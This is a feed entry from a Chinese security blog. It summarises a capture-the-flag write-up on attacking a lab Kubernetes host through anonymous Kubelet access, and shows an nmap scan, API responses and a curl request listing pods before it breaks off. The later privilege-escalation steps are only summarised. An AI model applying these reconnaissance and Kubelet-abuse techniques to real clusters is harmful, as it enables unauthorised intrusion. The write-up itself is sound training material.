BushSEC的被窝 - 云安全
type: channel
link: https://bushsec.cn/tag/%E4%BA%91%E5%AE%89%E5%85%A8/
items: SteamCloud：从Kubelet匿名访问到Pod提权的云原生攻防

SteamCloud：从Kubelet匿名访问到Pod提权的云原生攻防
type: item
date: 2025-09-13T13:07:00+08:00
description: AI摘要：本次云原生渗透测试利用了**Kubelet匿名访问**漏洞，成功从一个普通用户Pod提权并最终获取了主机的root权限。攻击过程包括信息侦察、利用Kubelet未授权访问、获取服务令牌、创建恶意Pod以及最终读取Flag。攻击机ip：10.10.16.3靶机IP：10.10.11.133首先nmapnmap -p- --min-rate 10000 -oA scans/nmap-alltcp得到结果Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-13 09:34 CST Nmap scan report for 10.10.11.133 Host is up (0.42s latency). Not shown: 65528 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 2379/tcp open etcd-client 2380/tcp open etcd-server 8443/tcp open https-alt 10249/tcp open unknown 10250/tcp open unknown 10256/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 10.36 secondsSSH 默认端口为 22。Etcd 是一个 Kubernetes 组件，客户端监听端口为 2379，服务器端口为 2380。Kubelet 是一个 Kubernetes 扩展，默认监听端口为 10250，Kubernetes API 监听端口为 8443。让我先来看看 Kubernetes API，它在 8443 端口上可访问。首先尝试访问Kubernetes API Server（8443端口），检查是否存在未授权访问：访问“https://10.10.11.133:8443”发现403{ "kind": "Status", "apiVersion": "v1", "metadata": { }, "status": "Failure", "message": "forbidden: User \"system:anonymous\" cannot get path \"/\"", "reason": "Forbidden", "details": { }, "code": 403 }输出显示我们无法在未经身份验证的情况下访问主目录，因此让我们继续查看监听在 10250 端口上的 Kubelet 服务。curl https://10.10.11.133:10250/pods -k {"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"kube-controller-manager-steamcloud","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-controller-manager-steamcloud","uid":"be2478237d1af444b624cb01f51f79c4","creationTimestamp":null,"labels":{"component":"kube-controller-manager","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"be2478237d1af444b624cb01f51f79c4","kubernetes.io/config.seen":"2025-09-12T21:29:29.748824313-04:00","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"ca-certs","hostPath":{"path":"/etc/ssl/certs","type":"DirectoryOrCreate"}},{"name":"etc-ca-certificates","hostPath":{"path":"/etc/ca-certificates","type":"DirectoryOrCreate"}},{"name":"flexvolume-dir","hostPath":{"path":"/usr/libexec/kubernetes/kubelet-plugins/…